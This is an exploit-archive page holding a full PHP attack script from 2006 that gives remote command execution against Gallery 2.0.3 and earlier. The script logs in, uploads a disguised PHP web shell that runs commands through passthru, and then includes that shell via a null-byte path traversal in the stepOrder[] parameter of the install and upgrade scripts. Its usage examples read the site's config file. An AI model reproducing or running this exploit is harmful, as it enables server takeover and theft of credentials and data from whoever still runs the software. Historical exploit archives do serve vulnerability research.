[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Gallery <= 2.0.3 stepOrder[] Remote Commands Execution Exploit
# Published : 2006-03-08
# Author : rgod
# Previous Title : JiRos Banner Experience 1.0 (Create Admin Bypass) Remote Exploit
# Next Title : RedBLoG <= 0.5 (cat_id) Remote SQL Injection Exploit
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Gallery <=2.0.3 "stepOrder[]" remote cmmnds xctn rn";
echo "by rgod rgod<AT>autistici<DOT>org rn";
echo "site: http://retrogod.altervista.org rnrn";
echo "-> works with register_globals = On and magic_quotes_gpc = Off rn";
if ($argc<5) {
echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS rn";
echo "host: target server (ip/hostname) rn";
echo "path: path to gallery2 rn";
echo "user-pass: this exploit needs valid user credentials to upload a rn";
echo " watermark rn";
echo "cmd: a shell command rn";
echo "Options: rn";
echo " -p[port]: specify a port other than 80 rn";
echo " -P[ip:port]: specify a proxy rn";
echo "Examples: rn";
echo "php ".$argv[0]." localhost /gallery2/ user pass cat ./../config.php rn";
echo "php ".$argv[0]." localhost /gallery2/ user pass type ...config.php rn";
echo "php ".$argv[0]." localhost /gallery2/ user pass -p81 -P1.1.1.1:80 ls -larn";
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
}
return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
//debug
//echo "rn".$html;
}
$host=$argv[1];$path=$argv[2];$user=$argv[3];$pass=$argv[4];
$cmd="";$port=80;$proxy="";
for ($i=5; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
echo "STEP 1 -> Login...rn";
$data ="g2_navId=xebb12f28";
$data.="&g2_formUrl=http%3A%2F%2F".urlencode($host.$path)."main.php%3Fg2_view%3Dcore.UserAdmin%26g2_subView%3Dcore.UserLogin";
$data.="&g2_controller=core.UserLogin";
$data.="&g2_form%5BformName%5D=UserLogin";
$data.="&g2_form%5Busername%5D=".$user;
$data.="&g2_form%5Bpassword%5D=".$pass;
$data.="&g2_form%5Baction%5D%5Blogin%5D=Login";
$packet ="POST ".$p."main.php HTTP/1.1rn";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; it) Opera 8.50rn";
$packet.="Host: ".$host."rn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Closernrn";
$packet.=$data;
//debug
//echo quick_dump($packet);
sendpacketii($packet);
if (!eregi("Location:",$html)) {echo "Failed to login...";die;}
else {echo "Login -> OKrn";}
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[1]);
$COOKIE=$temp2[0];
$temp2=explode(" ",$temp[2]);
$COOKIE.=" ".str_replace(";","",$temp2[0]);
echo "COOKIE ->".$COOKIE."rn";
echo "STEP 2 -> Upload evil file...rn";
$data="------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name="g2_returnName"
user watermarks
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name="g2_navId"
xebb12f28
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name="g2_formUrl"
http://".$host.$path."main.php?g2_view=core.UserAdmin&g2_subView=watermark.UserWatermarks
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name="g2_controller"
watermark.UserWatermarks
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name="g2_form[formName]"
UserWatermarks
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name="g2_form[1]"; filename="SUNTZUUUUUUU"
Content-Type: text/plain
<?php echo "*#*";ini_set("max_execution_time",0);passthru($_GET["CMD"]);echo "*#*";die();?>
------------2xqpvaUR5xYUMAC8KQGMSV
Content-Disposition: form-data; name="g2_form[action][add]"
Add
------------2xqpvaUR5xYUMAC8KQGMSV--
";
$packet="POST ".$p."main.php HTTP/1.1rn";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; it) Opera 8.50rn";
$packet.="Host: ".$host."rn";
$packet.="Cookie: ".$COOKIE."rn";
$packet.="Content-Type: multipart/form-data; boundary=----------2xqpvaUR5xYUMAC8KQGMSVrn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Closernrn";
$packet.=$data;
//debug
//echo quick_dump($packet);
sendpacketii($packet);
$two_in_one= array("upgrade","install");
for ($i=0; $i<=count($two_in_one)-1;$i++)
{
$step=3+$i;
echo "STEP ".$step." -> Launch commands through ".$two_in_one[$i]." scripts ...rn";
$xpl=urlencode("../../g2data/plugins_data/modules/watermark/SUNTZUUUUUUU".chr(0x00));
$packet="GET ".$p.$two_in_one[$i]."/index.php?CMD=".$cmd."&stepOrder[]=".$xpl." HTTP/1.1rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
//debug
//echo quick_dump($packet);
sendpacketii($packet);
//debug
//echo $html;
if (eregi("*#*",$html)) {
$out=explode("*#*",$html);
echo $out[1];
die ("Exploit succeeded...rn");
}
}
# if you are here...
echo "Exploit failed...rn";
?>
# www.Syue.com [2006-03-08]